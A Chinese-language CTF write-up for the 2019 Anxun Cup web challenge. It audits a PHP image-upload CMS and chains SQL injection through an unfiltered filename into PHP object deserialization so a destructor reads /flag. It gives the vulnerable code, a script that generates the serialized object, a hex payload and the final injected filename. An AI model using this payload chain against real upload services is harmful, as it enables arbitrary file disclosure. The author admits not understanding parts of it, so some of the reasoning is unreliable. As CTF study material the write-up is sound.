全网最细安洵杯2019 不是文件上传刷题笔记
知识点:
github源码泄露 php反序列化 sql注入 filegetcontent文件读取
开局一个POWERED BY ,首先这道题一开始我的思路其实想去测一下文件上传的点,但最后没有结果
然后去扫一下目录看一下有没有敏感信息泄露
没有扫到源码,这时有点懵,想到powerbywowoloadimage,想一下会不会是历史漏洞,于是到github下载这个cms的源码
放入seay
开始审计
首先看下seay自动审计的结果,貌似有一个文件读取,和sql
注入的漏洞,跳转看一下
追溯一下这两个拼接到sql
语句中的变量,看一下有么有过滤,可以发现在helper.php
里经过了很多函数insert_array()->save()->check()->getfile()->upload(),
可以看到有个check(),这个应该是过滤传入的参数的函数,我们重点来看下
public function check($info)
{
$basename = substr(md5(time().uniqid()),9,16);
$filename = $info["name"];
$ext = substr(strrchr($filename, '.'), 1);
$cate_exts = array("jpg","gif","png","jpeg");
if(!in_array($ext,$cate_exts)){
die("<p>Please upload the correct image file!!!</p>");
}
$title = str_replace(".".$ext,'',$filename);
return array('title'=>$title,'filename'=>$basename.".".$ext,'ext'=>$ext,'path'=>$this->folder.$basename.".".$ext);
}
可以看出filename变量最终是由时间随机生成的文件名加上白名单后缀,而title值没有进行过滤,直接拼接传入文件名的名字去掉后缀,那我们就应该这样想,是不是可以构造恶意文件名,达到特殊的目的,我们继续往下看
public function upload($input="file")
{
$fileinfo = $this->getfile($input);
$array = array();
$array["title"] = $fileinfo['title'];
$array["filename"] = $fileinfo['filename'];
$array["ext"] = $fileinfo['ext'];
$array["path"] = $fileinfo['path'];
$img_ext = getimagesize($_FILES[$input]["tmp_name"]);
$my_ext = array("width"=>$img_ext[0],"height"=>$img_ext[1]);
$array["attr"] = serialize($my_ext);
$id = $this->save($array);
if ($id == 0){
die("Something wrong!");
}
echo "<br>";
echo "<p>Your images is uploaded successfully. And your image's id is $id.</p>";
}
在check函数检查完后将check函数返回的值传给$fileinfo
,然后再存入数组$array中,
将图像属性的长和高进行序列化,然后再统一存进数据库中,我们来分析一下存入数据库的函数
public function insert_array($data)
{
$con = mysqli_connect("127.0.0.1","root","root","pic_base");
if (mysqli_connect_errno($con))
{
die("Connect MySQL Fail:".mysqli_connect_error());
}
$sql_fields = array();
$sql_val = array();
foreach($data as $key=>$value){
$key_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $key);
$value_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $value);
$sql_fields[] = "`".$key_temp."`";
$sql_val[] = "'".$value_temp."'";
}
$sql = "INSERT INTO images (".(implode(",",$sql_fields)).") VALUES(".(implode(",",$sql_val)).")";
mysqli_query($con, $sql);
$id = mysqli_insert_id($con);
mysqli_close($con);
return $id;
}
首先初始化了两个空数组 $sql_fields
和 $sql_val
,然后通过 foreach
循环遍历 $data
数组中的每个元素。这里假设 $data
是一个关联数组,其中键表示字段名,值表示相应的数据。在循环内部,使用 str_replace
函数将 $key
和 $value
中的特定序列(chr(0).'*'.chr(0))
替换为字符串 ‘\0\0\0’。这种替换看起来是一种对数据进行清理或转换的形式。清理后的 $key
被用反引号括起来,并添¥加到 $sql_fields
数组中,而清理后的 $value
被用单引号括起来,并添加到 $sql_val
数组中。这里的$data
传入的值,其实就是upload()
函数中的$array
数组,包含有传入文件经过过滤转换后的各项信息,sql
插入语句中的implode函数是用来拼接数组中的内容的
array数组如下
$array->title | 传入的未经过滤的文件名(去掉后缀) |
---|---|
$array->filename | 根据产生时间通过time()函数随机生成的字符串 |
$array->ext | 传入文件类型,jpg,png,jpg,ipeg 等 |
$array->path | pic/filename.ext 不懂可以去看下check函数的代码 |
$array->attr | 这个值是一个序列化后的数组其中包含了图片高度,与宽度的信息 |
这里看到一个特殊情况$array["attr"] = serialize($my_ext);
对图像的高和宽进行序列化后传入数组中,这时我就想到这里会不会存在反序列化漏洞呢,继续往下看
public function view_files($path){
if ($this->ifview == False){
return False;
//The function is not yet perfect, it is not open yet.
}
$content = file_get_contents($path);
echo $content;
}
function __destruct(){
# Read some config html
$this->view_files($this->config);
}
在view_files()
函数里有个file_get_contents($path)
,可以用来读取文件,在析构函数__destruct()
中调用了这个view_files
函数,__destruct()
的触发条件是当对象被销毁时,这里肯定是需要反序列化的,用seay的全局查找功能找一下反序列化函数
public function Get_All_Images(){
$sql = "SELECT * FROM images";
$result = mysqli_query($this->con, $sql);
if ($result->num_rows > 0){
while($row = $result->fetch_assoc()){
if($row["attr"]){
$attr_temp = str_replace('\0\0\0', chr(0).'*'.chr(0), $row["attr"]);
$attr = unserialize($attr_temp);
}
echo "<p>id=".$row["id"]." filename=".$row["filename"]." path=".$row["path"]."</p>";
}
}else{
echo "<p>You have not uploaded an image yet.</p>";
}
mysqli_close($this->con);
}
在show.php
中找到这个unserialize()
,一开始我觉得很奇怪这里的反序列化对象是$row["attr"]
,这个是图像的高与宽属性,并不是未经过滤的title
后面,我想了一下非常有可能是利用$title
的未过滤对sql语句进行提前闭合,导致最后反序列化时的对象就是$row["title"]
了,如果有大佬明白请帮我详细解释下
好了现在知道大概的漏洞原理就可以开始构造payload
了
现在来说下payload构造思路
因为变量title
没有经过过滤传入了数组,然后数组被传入数据库中,然后当反序列化时利用sql语句提前闭合,来使反序列化的对象为title
,这个变量可以通过filename
来进行构造,所以我们现在就要在filename处传入一个序列化的值,需要触发析构函数且ifview
为true
,
编写一个php
脚本来生成序列化后的值
<?php
class helper {
protected $ifview = True;
protected $config = "/flag";
}
$a = new helper();
echo serialize($a);
?>
得到序列化后的值
O:6:"helper":2:{s:9:"*ifview";b:1;s:9:"*config";s:5:"/flag";}
可以从前面的代码看到在序列化后和在反序列化前分别对*
和\0\0\0
进行了调换操作,这里我是有一点不理解的,构造payload时不能直接传入*
,而是要将其替换成\0\0\0
,
新的值
O:6:"helper":2:{s:9:"\0\0\0ifview";b:1;s:9:"\0\0\0config";s:5:"/flag";}
,因为sql语句中双引号会产生影响,所以我们要将它转换成16进制
0x4f3a363a2268656c706572223a323a7b733a393a22002a00696676696577223b623a313b733a393a22002a00636f6e666967223b733a353a222f666c6167223b7d
然后还需要对sql语句进行闭合,所以我们可以在传值时这样构造
filename="0x4f3a363a2268656c706572223a323a7b733a393a22002a00696676696577223b623a313b733a393a22002a00636f6e666967223b733a353a222f666c6167223b7d)#.jpg"
然后brupsite
传值,失败了,我看了下网上其他wp,还要在前面加一些东西
filename="a','1','1','1',0x4f3a363a2268656c706572223a323a7b733a393a22002a00696676696577223b623a313b733a393a22002a00636f6e666967223b733a353a222f666c6167223b7d)#.png"
我不理解啊,谁能来教一下我